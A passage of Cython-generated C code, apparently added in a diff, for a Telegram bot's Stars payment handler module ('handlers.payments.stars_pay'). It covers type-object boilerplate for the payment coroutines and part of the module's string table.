__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)o; + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_5_on_successful_payment", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_5_on_successful_payment", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_21U68SOLOBOT, __pyx_k_21U68SOLOBOT, sizeof(__pyx_k_21U68SOLOBOT), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_kp_u_CRYPTO_HASH, __pyx_k_CRYPTO_HASH, sizeof(__pyx_k_CRYPTO_HASH), 0, 1, 0, 0}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_LabeledPrice, __pyx_k_LabeledPrice, sizeof(__pyx_k_LabeledPrice), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_s_PreCheckoutQuery, __pyx_k_PreCheckoutQuery, sizeof(__pyx_k_PreCheckoutQuery), 0, 0, 1, 1}, + {&__pyx_n_s_RUB_TO_XTR, __pyx_k_RUB_TO_XTR, sizeof(__pyx_k_RUB_TO_XTR), 0, 0, 1, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_STARS_ROUTER, __pyx_k_STARS_ROUTER, sizeof(__pyx_k_STARS_ROUTER), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_n_u_XTR, __pyx_k_XTR, sizeof(__pyx_k_XTR), 0, 1, 0, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_n_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 1}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_n_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 1}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, + {&__pyx_n_s__38, __pyx_k__38, sizeof(__pyx_k__38), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_answer_invoice, __pyx_k_answer_invoice, sizeof(__pyx_k_answer_invoice), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_stars, __pyx_k_choosing_amount_stars, sizeof(__pyx_k_choosing_amount_stars), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_delete, __pyx_k_delete, sizeof(__pyx_k_delete), 0, 0, 1, 1}, + {&__pyx_n_s_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_stars, __pyx_k_enter_custom_amount_stars, sizeof(__pyx_k_enter_custom_amount_stars), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_stars, __pyx_k_entering_custom_amount_stars, sizeof(__pyx_k_entering_custom_amount_stars), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_stars_pay, __pyx_k_handlers_payments_stars_pay, sizeof(__pyx_k_handlers_payments_stars_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_stars_pay_py, __pyx_k_handlers_payments_stars_pay_py, sizeof(__pyx_k_handlers_payments_stars_pay_py), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_kp_u_https_t_me_PremiumBot, __pyx_k_https_t_me_PremiumBot, sizeof(__pyx_k_https_t_me_PremiumBot), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_invoice_payload, __pyx_k_invoice_payload, sizeof(__pyx_k_invoice_payload), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_ok, __pyx_k_ok, sizeof(__pyx_k_ok), 0, 0, 1, 1}, + {&__pyx_n_s_on_pre_checkout_query, __pyx_k_on_pre_checkout_query, sizeof(__pyx_k_on_pre_checkout_query), 0, 0, 1, 1}, + {&__pyx_n_s_on_successful_payment, __pyx_k_on_successful_payment, sizeof(__pyx_k_on_successful_payment), 0, 0, 1, 1}, + {&__pyx_n_s_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_stars, __pyx_k_pay_stars, sizeof(__pyx_k_pay_stars), 0, 1, 0, 1}, + {&__pyx_n_s_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 0, 1, 1}, + {&__pyx_n_s_pre_checkout_query, __pyx_k_pre_checkout_query, sizeof(__pyx_k_pre_checkout_query), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_prices, __pyx_k_prices, sizeof(__pyx_k_prices), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_stars, __pyx_k_process_callback_pay_stars, sizeof(__pyx_k_process_callback_pay_stars), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_provider_token, __pyx_k_provider_token, sizeof(__pyx_k_provider_token), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_u_stars, __pyx_k_stars, sizeof(__pyx_k_stars), 0, 1, 0, 1}, + {&__pyx_n_u_stars_2, __pyx_k_stars_2, sizeof(__pyx_k_stars_2), 0, 1, 0, 1}, + {&__pyx_n_u_stars_3, __pyx_k_stars_3, sizeof(__pyx_k_stars_3), 0, 1, 0, 1}, + {&__pyx_kp_u_stars_amount, __pyx_k_stars_amount, sizeof(__pyx_k_stars_amount), 0, 1, 0, 0}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_successful_payment, __pyx_k_successful_payment, sizeof(__pyx_k_successful_payment), 0, 0, 1, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_title, __pyx_k_title, sizeof(__pyx_k_title), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + 